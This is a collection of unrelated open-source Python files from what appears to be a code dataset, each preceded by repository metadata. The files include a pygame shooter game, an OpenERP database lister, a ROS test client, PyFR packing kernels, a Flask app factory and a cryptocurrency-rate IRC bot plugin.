0: self.rect.right = SCREENRECT.right def update(self): self.rect.move_ip(self.facing, 0) if not SCREENRECT.contains(self.rect): self.facing = -self.facing; if self.ydir == 1: self.rect.top = self.rect.bottom + 1 else: self.rect.bottom = self.rect.top - 1 if self.rect.bottom > SCREENRECT.height: self.ydir = -math.fabs(self.ydir) if self.rect.top < 0: self.ydir = math.fabs(self.ydir) self.rect = self.rect.clamp(SCREENRECT) class Explosion(pygame.sprite.Sprite): defaultlife = 12 animcycle = 3 images = [] def __init__(self, actor): pygame.sprite.Sprite.__init__(self, self.containers) self.image = self.images[0] self.rect = self.image.get_rect(center=actor.rect.center) self.life = self.defaultlife def update(self): self.life = self.life - 1 self.image = self.images[self.life//self.animcycle%2] if self.life <= 0: self.kill() class Bomb(pygame.sprite.Sprite): speed = 9 images = [] def __init__(self, alien): pygame.sprite.Sprite.__init__(self, self.containers) self.image = self.images[0] self.rect = self.image.get_rect(midbottom= alien.rect.move(0,5).midbottom) def update(self): self.rect.move_ip(0, self.speed) if self.rect.bottom >= SCREENRECT.height - 32: Explosion(self) self.kill() class Score(pygame.sprite.Sprite): def __init__(self): pygame.sprite.Sprite.__init__(self) self.font = pygame.font.Font(None, 20) self.font.set_italic(1) self.color = Color('white') self.lastscore = -1 self.update() self.rect = self.image.get_rect().move(20, SCREENRECT.height - 20) def update(self): if SCORE != self.lastscore: self.lastscore = SCORE msg = "Score: %d" % SCORE self.image = self.font.render(msg, 0, self.color) class Starfield(): def __init__(self, screen): global stars stars = [] for i in range(200): star = [random.randrange(0,SCREENRECT.width), random.randrange(0,SCREENRECT.height), random.choice([1,2,3])] stars.append(star) def update(self, screen): global stars for star in stars: star[1] += star[2] if star[1] >= SCREENRECT.height: star[1] = 0 star[0] = random.randrange(0,SCREENRECT.width) star[2] = random.choice([1,2,3]) if star[2] == 1: color = (100,100,100) elif star[2] == 2: color = (190,190,190) elif star[2] == 3: color = (255,255,255) pygame.draw.rect(screen, color, (star[0],star[1],star[2],star[2])) def main(): pygame.init() random.seed() #Detect and initialize joysticks for input pygame.joystick.init() joysticks = [] for i in range(0, pygame.joystick.get_count()): joysticks.append(pygame.joystick.Joystick(i)) joysticks[-1].init() if pygame.mixer and not pygame.mixer.get_init(): print ('Warning, no sound') pygame.mixer = None fps = 60 fps_clock = pygame.time.Clock() screen_width, screen_height = 1920, 1080 winstyle = pygame.FULLSCREEN bestdepth = pygame.display.mode_ok(SCREENRECT.size, winstyle, 32) screen = pygame.display.set_mode(SCREENRECT.size, winstyle, bestdepth) game_over = False Player.images = [load_image('player_ship.gif')] img = load_image('explosion.gif') Explosion.images = [img, pygame.transform.flip(img, 1, 1)] Shot.images = [load_image('shot.gif')] Enemy.images = [load_image('enemy.gif')] Bomb.images = [load_image('bomb.gif')] icon = pygame.transform.scale(Enemy.images[0], (32, 32)) pygame.display.set_icon(icon) pygame.display.set_caption('Pygame Aliens') pygame.mouse.set_visible(0) # initialize game groups enemies = pygame.sprite.Group() shots = pygame.sprite.Group() bombs = pygame.sprite.Group() all = pygame.sprite.RenderUpdates() lastenemy = pygame.sprite.GroupSingle() # assign default groups to each sprite class Player.containers = all Enemy.containers = enemies, all, lastenemy Shot.containers = shots, all Bomb.containers = bombs, all Explosion.containers = all Score.containers = all # load the sound effects/music explode_sound = load_sound('explode.wav') shoot_sound = load_sound('shoot1.wav') if pygame.mixer: music = os.path.join(main_dir, 'data', 'bgmusic.mid') pygame.mixer.music.load(music) pygame.mixer.music.play(-1) global score enemy_reload = ENEMY_RELOAD kills = 0 global SCORE player = Player() Enemy() if pygame.font: all.add(Score()) starfield = Starfield(screen) while not game_over: #main game loop for event in pygame.event.get(): if event.type == QUIT or event.type == KEYDOWN and \ (event.key == K_ESCAPE or event.key == K_LEFTBRACKET or event.key == K_RIGHTBRACKET): game_over = True keystate = pygame.key.get_pressed() screen.fill((0,0,0)) starfield.update(screen) #update all the sprites all.update() #handle player input (dx, dy) = (keystate[K_RIGHT] - keystate[K_LEFT], keystate[K_DOWN] - keystate[K_UP]) if pygame.joystick.get_count() > 0: (dx, dy) = pygame.joystick.Joystick(0).get_hat(0) dy = -dy firing = keystate[K_SPACE] if pygame.joystick.get_count() > 0: firing = pygame.joystick.Joystick(0).get_button(0) if not player.reloading and firing and len(shots) < MAX_SHOTS: Shot((player.rect.centerx, player.rect.top), player) shoot_sound.play() player.reloading = firing player.move((dx, dy)) firing = keystate[K_SPACE] if pygame.joystick.get_count() > 0: firing = pygame.joystick.Joystick(0).get_button(0) # create new enemy if enemy_reload: enemy_reload -= 1 elif not int(random.random() * ENEMY_ODDS): Enemy() enemy_reload = ENEMY_RELOAD # drop bombs if lastenemy and not int(random.random() * BOMB_ODDS): Bomb(lastenemy.sprite) # detect collisions for enemy in enemies.sprites(): if (player.hitbox.colliderect(enemy.rect)): explode_sound.play() Explosion(enemy) Explosion(player) SCORE = SCORE + 1 player.kill() game_over = True for shot in pygame.sprite.groupcollide(shots, enemies, 0, 1).keys(): explode_sound.play() Explosion(shot) shot.speed = -shot.speed shot.homing = True SCORE = SCORE + 1 for shot in shots.sprites(): if player.hitbox.colliderect(shot.rect): shot.kill() for bomb in bombs.sprites(): if (player.hitbox.colliderect(bomb.rect)): explode_sound.play() Explosion(bomb) bomb.kill() player.kill() game_over = True all.draw(screen) pygame.display.update() fps_clock.tick(fps) #end main game loop if pygame.mixer: pygame.mixer.music.fadeout(1000) pygame.time.wait(1000) pygame.quit() if __name__ == "__main__": main()
UTF-8
Python
false
false
2,013
16,862,041,623,132
19d5d955c3efc480965e3f9ae371a7039eb6ffb5
a27595a5bd8bd6639f7503539c509e464f3895bf
/example/database_list_all.py
de0ebca3b32233dffc92cf18fc6f43537df55083
[ "GPL-3.0-or-later" ]
non_permissive
acsone/openobject-library
https://github.com/acsone/openobject-library
cc01072734b69075db218a699506f5c929eadfc5
ef1e797457e2a3858cc53a14a7b2df8dcb95a08d
refs/heads/3.0
2021-01-15T21:06:56.105005
2013-03-01T10:01:57
2013-03-01T10:01:57
20,993,528
0
1
null
true
2014-06-19T08:40:29
2014-06-19T08:37:38
2014-06-19T08:37:39
2014-06-10T12:25:38
464
0
1
0
Python
null
null
#!/usr/bin/env python # --*- coding: utf-8 -*- ############################################################################## # # OpenObject Library # Copyright (C) 2009 Tiny (<http://tiny.be>). Christophe Simonis # All Rights Reserved # Copyright (C) 2009 Syleam (<http://syleam.fr>). Christophe Chauvet # All Rights Reserved # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## """ Connect to the server and return the list of databases """ import sys sys.path.append('../') from oobjlib.connection import Database from oobjlib.common import GetParser parser = GetParser('Database List', '0.1') opts, args = parser.parse_args() try: db = Database( server=opts.server, port=opts.port, supadminpass=opts.admin) except Exception, e: print '%s' % str(e) exit(1) print '--[Server Connection]-i---------------------' print '%s' % str(db) print '--[Database list]---------------------------' for d in db.list(): print '* %s' % d print '--[End]-------------------------------------' # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
UTF-8
Python
false
false
2,013
11,416,023,099,735
fdd68a864959691e603f93144dd469d6af18f86d
8555152a2d251fd8be70374f3b0a3d409e6218ee
/sliding_ngram/__init__.py
3289679a1e0aa7f6fbe808d0c3f5281f72cd9474
[]
no_license
nlp-hda/nlp2012
https://github.com/nlp-hda/nlp2012
cba7ff53ad9ae1403265f0839c948901a094406e
227e9f955525589fd010770a1646009c8e229d70
refs/heads/master
2016-09-06T18:07:49.347708
2013-01-23T02:12:34
2013-01-23T02:12:34
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#''' #Created on 09.01.2013 # #@author: andreas #'''
UTF-8
Python
false
false
2,013
13,675,175,895,576
ed020e0cafd3816c4944c10ed9865232dcedbdea
6f7df1f0361204fb0ca039ccbff8f26335a45cd2
/examples/grammar-induction/stats/gen-img-page
ec9bddb909898e3ad0f61d71d68a44a3eb13092e
[]
no_license
LFY/bpm
https://github.com/LFY/bpm
f63c050d8a2080793cf270b03e6cf5661bf3599e
a3bce19d6258ad42dce6ffd4746570f0644a51b9
refs/heads/master
2021-01-18T13:04:03.191094
2012-09-25T10:31:25
2012-09-25T10:31:25
2,099,550
2
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python import os import sys import subprocess as sp dir = sys.argv[1] dircat = os.path.join def attrs2str(attrs): res = "" for (k, v) in attrs.items(): res += k + ("=\"%s\"" % v) + " " return res def xml_str(t, s, **attrs): return "<" + t + " " + attrs2str(attrs) + ">" + s + "</" + t + ">" def table(s): return xml_str("table", s) def html(s): return xml_str("html", s) def body(s): return xml_str("body", s) def print_html_table_row(r): res = "<tr>" for item in r: res += "<td>" + item + "</td>" res += "</tr>" return res img_rows = [] for f in os.listdir(dircat(dir, "enumeration")): if f.endswith(".png"): img_rows.append([xml_str("img", "", src = dircat(dir, "enumeration", f)), f]) dest = dircat(dir, "enumeration.html") fh = open(dest, "w") print >>fh, html(body(table(reduce(lambda x, y: x + "\n" + y, map(print_html_table_row, img_rows))))) fh.close()
UTF-8
Python
false
false
2,012
5,566,277,630,899
7eed8282156e9048e7009852dffe7c6a4014cb11
46e352d8edd017ab96668bacf0ba7cd207ea8ecd
/marker_scan/test/test_scan_for_markers.py
fefadc55c897ae55b882c85591dda5441c52ee08
[]
no_license
raven-debridement/ar_marker_tools
https://github.com/raven-debridement/ar_marker_tools
0a9a26f5de401a83c252c970716126eba0a8f268
4931cd77ceee8877b3e29c631388da22a3cf688a
refs/heads/master
2020-04-18T05:07:46.287924
2013-07-13T00:20:15
2013-07-13T00:20:15
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python import roslib; roslib.load_manifest('marker_scan') import rospy from marker_scan.srv import ScanForMarkers from std_msgs.msg import Header from geometry_msgs.msg import Point, Pose, Quaternion rospy.init_node('marker_scanner_test') rospy.loginfo('Waiting for scan_for_markers service...') scan_service = rospy.wait_for_service('scan_for_markers') try: srv = rospy.ServiceProxy('scan_for_markers', ScanForMarkers) header = Header() #TODO: get new data with fixed frame header.frame_id = 'base_link' header.stamp = rospy.Time.now() detector_service = 'marker_detector' ids = [5] # don't care about quaternion here poses = [Pose(Point(0.641, 0.053, 1.240), Quaternion(0.0, 0.0, 0.0, 1.0))] marker_infos = srv(header, detector_service, ids, poses) print marker_infos except rospy.ServiceException, e: rospy.logerr('Service call failed: %s' % e)
UTF-8
Python
false
false
2,013
6,846,177,898,911
11f1e66e9d76be461f3486dba1f79fb4a96df87b
15aef873c309d9c142ffc3006450a8fbda872348
/src/DC/FrmCalculateTime.py
5c77744b25f0490d4eb3a78dc0fd955796fd583d
[]
no_license
JuanDaniel/AccountEnet
https://github.com/JuanDaniel/AccountEnet
ee42608a1877bc6d80f028ac619d5dfa212ff6aa
ba8b739035b29e729f96054718813af133125327
refs/heads/master
2016-08-05T09:01:39.083805
2013-11-12T23:26:10
2013-11-12T23:26:10
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- #!/usr/bin/python ''' Created on 24/10/2013 @author: jdsantana ''' from PyQt4 import QtGui from Visual.CalculateTime import Ui_MainWindow class FrmCalculateTime(QtGui.QMainWindow, Ui_MainWindow): ''' It is the CalculaTime UI implementation ''' def __init__(self, parent = None): super(FrmCalculateTime, self).__init__(parent) self.setupUi(self)
UTF-8
Python
false
false
2,013
2,946,347,587,170
f74b33cf660c1cf6b36578771e41dd093331f7fd
aab2fb9b6a3be09c4b2c3a9d044d1006298ea309
/posts/admin.py
812a0e5388bf437d84ca48d682b504a1014b7c6f
[]
no_license
tryache/simple_bbs
https://github.com/tryache/simple_bbs
5dd268967369ffbc68543247f25dd420a9fb1338
e6d3dee77993e6327559d8cdf7c82447be252772
refs/heads/master
2021-01-15T14:58:34.490348
2014-04-07T03:41:49
2014-04-07T03:41:49
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.contrib import admin from posts.models import Post, Reply class ReplyInline(admin.StackedInline): model = Reply extra = 1 class PostAdmin(admin.ModelAdmin): inlines = [ReplyInline] admin.site.register(Post, PostAdmin)
UTF-8
Python
false
false
2,014
11,467,562,696,866
c9461be83544bae65059bbe5dcf17d570ec77812
e84f8bcf2ea91ac12f9850a6f487b8b6bff09235
/pyfr/backends/openmp/packing.py
c7eae548f0423c5ae1fca2e5afb2416f692030f1
[ "CC-BY-4.0", "BSD-3-Clause" ]
non_permissive
Aerojspark/PyFR
https://github.com/Aerojspark/PyFR
2bdbbf8a1a0770dc6cf48100dc5f895eb8ab8110
b59e67f3aa475f7e67953130a45f264f90e2bb92
refs/heads/master
2021-01-14T08:51:48.893378
2014-09-01T15:02:28
2014-09-01T15:02:28
24,884,060
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- from pyfr.backends.base import ComputeKernel, MPIKernel, NullComputeKernel from pyfr.backends.openmp.provider import OpenMPKernelProvider from pyfr.backends.openmp.types import OpenMPMPIMatrix, OpenMPMPIView from pyfr.nputil import npdtype_to_ctype class OpenMPPackingKernels(OpenMPKernelProvider): def _sendrecv(self, mv, mpipreqfn, pid, tag): # If we are an MPI view then extract the MPI matrix mpimat = mv.mpimat if isinstance(mv, OpenMPMPIView) else mv # Create a persistent MPI request to send/recv the pack preq = mpipreqfn(mpimat.data, pid, tag) class SendRecvPackKernel(MPIKernel): def run(self, reqlist): # Start the request and append us to the list of requests preq.Start() reqlist.append(preq) return SendRecvPackKernel() def pack(self, mv): # An MPI view is simply a regular view plus an MPI matrix m, v = mv.mpimat, mv.view # Render the kernel template tpl = self.backend.lookup.get_template('pack') src = tpl.render(dtype=npdtype_to_ctype(m.dtype)) # Build kern = self._build_kernel('pack_view', src, 'iiiPPPPP') class PackMPIViewKernel(ComputeKernel): def run(self): kern(v.n, v.nvrow, v.nvcol, v.basedata, v.mapping, v.cstrides or 0, v.rstrides or 0, m) return PackMPIViewKernel() def send_pack(self, mv, pid, tag): from mpi4py import MPI return self._sendrecv(mv, MPI.COMM_WORLD.Send_init, pid, tag) def recv_pack(self, mv, pid, tag): from mpi4py import MPI return self._sendrecv(mv, MPI.COMM_WORLD.Recv_init, pid, tag) def unpack(self, mv): # No-op return NullComputeKernel()
UTF-8
Python
false
false
2,014
3,212,635,543,221
f95b3c0f75845d1b89a0ec048ed22d3f575f5fdd
214d3bf369cc701c508ba6450f78a7b8e58f388e
/dtc/config/ui/url.py
62967c8ae80e8c3b09046fa0f99fa93d80848163
[ "GPL-2.0-only" ]
non_permissive
pombredanne/DtcLookup
https://github.com/pombredanne/DtcLookup
b66f3cfe97b1045582bc483455f6013469eac6d3
450f48cf61729ef143ce5483f6f6ff0fe891a74e
refs/heads/master
2020-12-26T01:59:24.044109
2013-09-09T16:22:07
2013-09-09T16:22:07
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import web from os.path import dirname import dtc from dtc import handlers from dtc.config.ui.general import URL_PREFIX from dtc.handlers.lookup_handler import LookupHandler # We used several simpler rules, rather than more ambiguous RXs. urls = ( # '^/favicon.ico$', 'static_favicon', '^/$', 'index', '/lookup/([^/]+)(/(.+))?', 'lookup', '/(.*)', 'fail', ) #class favicon: # def GET(self): # raise web.seeother('/static/images/favicon.ico') class index: def __init__(self): self.__content = None def __get_content(self): if self.__content is None: index_filepath = dirname(dtc.__file__) + \ '/resource/templates/index.html' with file(index_filepath) as f: content = f.read() replacements = { 'UrlPrefix': URL_PREFIX } web.header('Content-Type', 'text/html') self.__content = content % replacements return self.__content def GET(self): return self.__get_content() mapping = { #'static_favicon': favicon, 'index': index, 'fail': handlers.Fail, 'lookup': LookupHandler, }
UTF-8
Python
false
false
2,013
19,301,583,057,979
1fc51524dd9b409aa7868c63a5779e32f422ab40
541a8a24007128e004322e8dd916845d10ee2df3
/plugins/CryptoCoinCharts.py
239057daffc978ef60f3b1602b83be70267e8343
[]
no_license
genericpersona/GGM
https://github.com/genericpersona/GGM
78d4ad2c1bbeaccc4d7e24d63506597045365414
c2e21a4b6df841f39d8e44ff6852b40b446c8679
refs/heads/master
2020-04-21T07:39:34.944642
2014-07-22T02:34:43
2014-07-22T02:34:43
16,679,884
1
1
null
null
null
null
null
null
null
null
null
null
null
null
null
# Imports import argparse from csv import DictReader import datetime import itertools from operator import itemgetter from string import ascii_uppercase import sys import requests from gilbertgrapesmom import build_help_and_info, CMND_PREFIX from pluginbase import Plugin from twisted.python import log class ArgParserError(Exception): pass class ArgParser(argparse.ArgumentParser): def error(self, message): raise ArgParserError(message) class EvenAndMinMaxPairs(argparse.Action): min_pairs = 1 max_pairs = 5 def __call__(self, parser, args, values, option_string=None): def even(num): return num % 2 == 0 # Get the number of values and pairs num_values = len(values) num_pairs = num_values / 2 # Don't do tests if availabe argument selected if args.available or args.coins or args.long_name: pass elif not even(num_values): msg = 'Must supply an even number of currencies to get rates ' + \ 'of, as the rate is of one currency relative to another' parser.error(msg) elif num_pairs < self.min_pairs or num_pairs > self.max_pairs: msg = 'Can only specify between {} and {} pairs, inclusive, '.\ format(self.min_pairs, self.max_pairs) msg += 'of currency codes. Use {}help rate for full usage.'.\ format(CMND_PREFIX) parser.error(msg) setattr(args, self.dest, values) class CryptoCoinCharts(Plugin): def __init__(self, args): # Save the args for arg, val in args.iteritems(): setattr(self, arg, val) # Cache the time of the last # update so no more than a # given number of API calls # occur in a particular time self.last_update = None # API URLs self.max_pairs = 5 # Max pairs to look up at a time with above API self.api_pair = 'http://www.cryptocoincharts.info/v2/api/tradingPair/' self.api_pairs = 'http://www.cryptocoincharts.info/v2/api/tradingPairs/' self.api_list_coins = 'http://www.cryptocoincharts.info/v2/api/listCoins' # Build a parser self.build_parser() # Initialize containers for API data self.coins = {} self.pairs = {} self.currencies = set() # Get fresh data self.get_fresh_data() # Get a list of currencies self.get_currencies() # Commands supported self.cmnds = { 'rate': self.parse_rate } self.cmnds = dict((CMND_PREFIX + k, v) for k, v in self.cmnds.items()) def commands(self): ''' Return a list of the commands handled by the plugin. ''' return self.cmnds.keys() def get_commands(self): ''' Return a dict mapping command names to their respective callbacks. ''' return self.cmnds def parse_command(self, msg): ''' Parses the command and returns the reply and a boolean indicating whether the reply is private or not. ''' # Call the super class parse_ret = super(CryptoCoinCharts, self).parse_command(msg) if parse_ret: return parse_ret # Look for help or info message pre_len = len(CMND_PREFIX) if msg.startswith(CMND_PREFIX + 'help'): return self.help(' '.join(msg.split()[pre_len:])) elif msg.startswith(CMND_PREFIX + 'info'): return self.info(' '.join(msg.split()[pre_len:])) def help(self, cmnd): ''' Return a help message about a particular command handled by the plugin. ''' # Remove command prefix just in case cmnd = cmnd.lstrip(CMND_PREFIX + 'help') if cmnd.startswith('rate'): reply = self.parser.format_usage().rstrip() reply = reply.split() reply[1] = CMND_PREFIX + 'rate' return ' '.join(reply), False def info(self, cmnd): ''' Return detailed information about a command handled by the plugin. ''' cmnd = cmnd.lstrip(CMND_PREFIX + 'info') if cmnd.startswith('rate'): reply = ''' The {cp}rate command gets its information from cryptocoincharts.info. Fresh data will be obtained every minute, so if more temporal granularity is desired it must be found elsewhere. Cryptocoin charts' API returns a rate from the best market, i.e., the one with the highest volume, for a given pair of currencies. Currencies include altcoins and fiat. The -v switch will display the best market in the bot's output. Rates are of one currency to another so they should be supplied to the command in pairs, where the pairs are specified as a space delimited list of currency codes. If you merely provide a single altcoin the bot will provide its rate in USD. You can find whether certain currencies are available by using the -a switch. You can see all available coins by using the -c switch. As a courtesy, the -n switch takes a list of space delimited currency codes and returns their long name, e.g., USD -> US dollar. '''.format(cp=CMND_PREFIX) return reply, True else: ni = 'Not available for that command. Use help instead.' return ni, False def parse_rate(self, msg): ''' Parse the msg for the calculation of a rate. ''' # Grab the command line options if msg.startswith(CMND_PREFIX + 'rate'): opts = msg.split()[1:] else: opts = msg.split() # Get fresh data if needed if self.stale(): if not self.get_fresh_data(): log.err('Failed to obtain fresh API average data') return '[Error]: Cannot access CryptoCoinCharts API. ' + \ 'Contact bot maintainer.', True # Parse the command try: # Allow for a default currency if len(opts) == 1 or \ (len(opts) == 2 and \ '-v' in opts or '--verbose' in opts): opts.append(self.default_currency) # Parse the command args = self.parser.parse_args(opts) currencies = args.currencies except ArgParserError, exc: return exc, True # Check if we need to provide some help if args.coins: # Return the list of coins privately replies = {char: sorted([cur.upper() for cur in \ self.coins.keys() \ if cur.upper().startswith(char)]) \ for char in ascii_uppercase} reply = ['Altcoins Available:'] for char in ascii_uppercase: reply.append(' | '.join(replies[char])) return '\n'.join(reply), True # Check if we're checking for coin support if args.available: reply = [] for coin in args.available: reply.append('{} is{} supported'.format(coin, '' if self.supported(coin) \ else ' NOT')) return ' | '.join(reply), False # Check for long name checking if args.long_name: reply = map( lambda x: '[{}]: '.format(x) + self.coins[x]['name'] \ if x in self.coins else self.name_currencies[x] \ if x in self.currencies else '' , args.long_name ) return ' | '.join(x for x in reply if x), False # Get the pairs in a useable format pairs = [(currencies[i], currencies[i+1]) \ for i in range(0, len(currencies), 2)] payload = ','.join(map(lambda x: '{}_{}'.format(x[0], x[1]), pairs)) # Figure out if you need to use pair or pairs if len(pairs) > 1: post = True else: post = False # Make sure all the pairs are supported if not all(map(self.supported, currencies)): reply = '[Error]: Invalid coin specified.' reply += ' | Use the -c/--coins option to see all supported' return reply, False # Set up data for a request try: # Make the proper request if post: r = requests.post(self.api_pairs, data=payload) else: r = requests.get('{}{}'.format(self.api_pair, payload)) # Check for valid status code if r.status_code != 200: log.err('[Error]: Status code {} for pairs API'.format(r.status_code)) return '[Error]: Cannot contact pairs API. Please ' + \ 'contact bot maintainer.', True # Get all returned pair(s) ret_pairs = r.json if type(r.json) == list else [r.json()] # Build the reply replies = [] for i, pair in enumerate(ret_pairs): if pair['id'] is None: reply = '[Error]: No response for {}. Try {}'.\ format( ' '.join(pairs[i]) , '{} {}'.format(pairs[i][-1].upper(), pairs[i][0].upper()) ) else: reply = '{pair}{price}{convert} {v}'.\ format( pair='[{}]: '.format(str(pair['id'].upper())) , price=round(float(pair['price']), 8) , convert=' | {} {} for 1 {}'.\ format( round(1.0 / float(pair['price']), 8) , pairs[i][0].upper() , pairs[i][1].upper() ) if not (pairs[i][0] in self.currencies or \ pairs[i][1] in self.currencies) \ else '' , v=' | [Best Market]: {}'.format(str(pair['best_market'])) \ if args.verbose else '' ) replies.append(reply) return ' | '.join(replies), False if not post else True except: log.err('[Error]: {}'.format(sys.exc_info()[0])) return '[Error]: Cannot contact pairs API. Please ' + \ 'contact bot maintainer.', True def supported(self, code, include_currencies=True): ''' Tests if the passed in code is supported in the CryptoCoin API. Can toggle whether currencies are included in the check. Return True if supported and False otherwise. ''' if include_currencies: return code.upper() in self.names or code.upper() in self.currencies else: return code.upper() in self.names def build_parser(self): ''' Builds a parser for the program. Return None. ''' # Build an argument parser self.parser = ArgParser( description='Calculate the rate of two coins' , add_help=False ) self.parser.add_argument( '-a' , '--available' , nargs='+' , help='Find out if particular coin(s) are available' ) self.parser.add_argument( '-c' , '--coins' , action='store_true' , help='List all coins available' ) self.parser.add_argument( '-n' , '--long-name' , dest='long_name' , nargs='*' , help='Get long name for currency codes' ) self.parser.add_argument( '-v' , '--verbose' , action='store_true' , help='Get additional information on rates' ) self.parser.add_argument( 'currencies' , help='Currencies to find the rate of' , nargs='*' , action=EvenAndMinMaxPairs ) def stale(self): ''' Return True if API data is stale. ''' # See if a pull from the API # has never been made if not self.last_update: return True return (datetime.datetime.utcnow() - self.last_update).seconds > 60 def get_fresh_data(self): ''' Grab fresh data from the API and saves it in class attributes. Returns True if grab was successful and False if an error occurred. ''' try: # Now, grab the pairs data r = requests.get(self.api_list_coins) if r.status_code != 200: log.err('[Error]: Status code {} for listing coins'.\ format(r.status_code)) return False else: self.coins = {} for coind in r.json(): # Don't take any coins with zero volume if not float(coind['volume_btc']): continue # Otherwise, save the information self.coins[coind['id']] = {k: v for k,v in coind.iteritems() \ if k != 'id'} # Also save a list of coin names self.names = {str(x.upper()) for x in self.coins.iterkeys()} # Finally, get some currencies self.get_currencies() return True # Any error that occurs connecting to the API except: log.err('[Error]: {}'.format(sys.exc_info()[0])) return False def get_currencies(self): ''' Obtain a list of currencies used for calculating rates of various CryptoCoins. Store this list ''' if not self.currencies: with open(self.currencies_csv) as csvf: # Create a reader object and save the dicts reader = DictReader(csvf) # Save the dictionaries reader = [cd for cd in reader] # Save the currencies as a set self.currencies = sorted(set(map(itemgetter('AlphabeticCode'), reader))) self.currencies = [c for c in self.currencies if c.strip()] # Also, save mapping of currencies # to a longer name for them self.name_currencies = {d['AlphabeticCode']: d['Currency'] \ for d in reader \ if d['AlphabeticCode'] in \ self.currencies} return self.currencies
UTF-8
Python
false
false
2,014
8,323,646,621,496
e5bafab4565751b80d05fbd2b25e77b251536549
f5c905a6ff11bacef241757654663cd94314f22f
/pkglib/pkglib/setuptools/command/config.py
e0df9bab195b2e15c99cd07542cc468b22678eef
[ "MIT" ]
permissive
pythonpro-dev/pkglib-copy
https://github.com/pythonpro-dev/pkglib-copy
7cf934b6dffc36b31dab67c96b55ad317f6016f5
4c106eb3f80d9898186601a9cad9ed4c2553b568
HEAD
2016-09-05T16:35:53.099458
2014-04-22T17:11:07
2014-04-22T17:11:07
19,311,481
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
from setuptools import Command from distutils import log from ... import CONFIG from ...config import org class config(Command): """ Print PkgLib configuration """ description = "Print out PkgLib configuration" user_options = [ ] boolean_options = [ ] def initialize_options(self): pass def finalize_options(self): pass def run(self): log.info("Organisation Config") for k in org.ORG_SLOTS: log.info(" {0}: {1}".format(k, getattr(CONFIG, k)))
UTF-8
Python
false
false
2,014
15,564,961,496,389
74b7fc719aa71a5fda5a20293e224485c2f95c23
3ba41609a00af5aba3fb1bef8c44be765ae01783
/tuistudio/__init__.py
9e147e524279ed82b55ae7b81475a66534f729c6
[ "Apache-2.0" ]
permissive
tuistudio/tuistudio.com
https://github.com/tuistudio/tuistudio.com
d7139db09803558c9c4d864d3bfd077907885b7f
fb0995370c02ffa4bf6809da21f28dc23b5592cb
refs/heads/master
2021-01-10T21:42:43.546214
2014-10-16T02:14:46
2014-10-16T02:14:46
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# coding: utf-8 import sys from flask import Flask, request, url_for, g, render_template, session from flask_wtf.csrf import CsrfProtect from flask.ext.uploads import configure_uploads from flask_debugtoolbar import DebugToolbarExtension from flask.ext.assets import Environment, Bundle from . import config # convert python's encoding to utf8 reload(sys) sys.setdefaultencoding('utf8') def create_app(): """创建Flask app""" app = Flask(__name__) app.config.from_object(config) # CSRF protect CsrfProtect(app) if app.debug: DebugToolbarExtension(app) else: from .utils.sentry import sentry sentry.init_app(app) # from .mails import mail # mail.init_app(app) assets = Environment() assets.init_app(app) # 注册组件 register_db(app) register_routes(app) register_jinja(app) register_error_handle(app) register_uploadsets(app) # before every request @app.before_request def before_request(): pass return app def register_jinja(app): """注册模板全局变量和全局函数""" from jinja2 import Markup from .utils import filters app.jinja_env.filters['timesince'] = filters.timesince # inject vars into template context @app.context_processor def inject_vars(): return dict( g_var_name=0, ) def url_for_other_page(page): """Generate url for pagination""" view_args = request.view_args.copy() args = request.args.copy().to_dict() args['page'] = page view_args.update(args) return url_for(request.endpoint, **view_args) def static(filename): """生成静态资源url""" return url_for('static', filename=filename) def bower(filename): """生成bower资源url""" return static("bower_components/%s" % filename) def script(path): """生成script标签""" return Markup("<script type='text/javascript' src='%s'></script>" % static(path)) def link(path): """生成link标签""" return Markup("<link rel='stylesheet' href='%s'></script>" % static(path)) app.jinja_env.globals['url_for_other_page'] = url_for_other_page app.jinja_env.globals['static'] = static app.jinja_env.globals['bower'] = bower app.jinja_env.globals['script'] = script app.jinja_env.globals['link'] = link def register_db(app): """注册Model""" from .models import db db.init_app(app) def register_routes(app): """注册路由""" from .controllers import site, account, admin app.register_blueprint(site.bp, url_prefix='') app.register_blueprint(account.bp, url_prefix='/account') app.register_blueprint(admin.bp, url_prefix='/admin') def register_error_handle(app): """注册HTTP错误页面""" @app.errorhandler(403) def page_403(error): return render_template('site/403.html'), 403 @app.errorhandler(404) def page_404(error): return render_template('site/404.html'), 404 @app.errorhandler(500) def page_500(error): return render_template('site/500.html'), 500 def register_uploadsets(app): """注册UploadSets""" from .utils.uploadsets import avatars configure_uploads(app, (avatars)) app = create_app()
UTF-8
Python
false
false
2,014
18,803,366,845,835
b39266ff6918267a85b9e748e89ad15fb129cfaf
c2d745f217f0a4be6746386f389da050e78fb38d
/Curso Python/tareasemana3/samuel.py
57ee2d3ee2073b429b0307fdfaaa9fac0adf4f6c
[]
no_license
samusfree/Curso-Python
https://github.com/samusfree/Curso-Python
8813e5764c7031df285faf456993c674e48b0b71
b4f5b2bbd9c485ec27cee244a886d8a33807687b
refs/heads/master
2016-05-26T14:28:43.554122
2014-06-11T17:10:56
2014-06-11T17:10:56
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
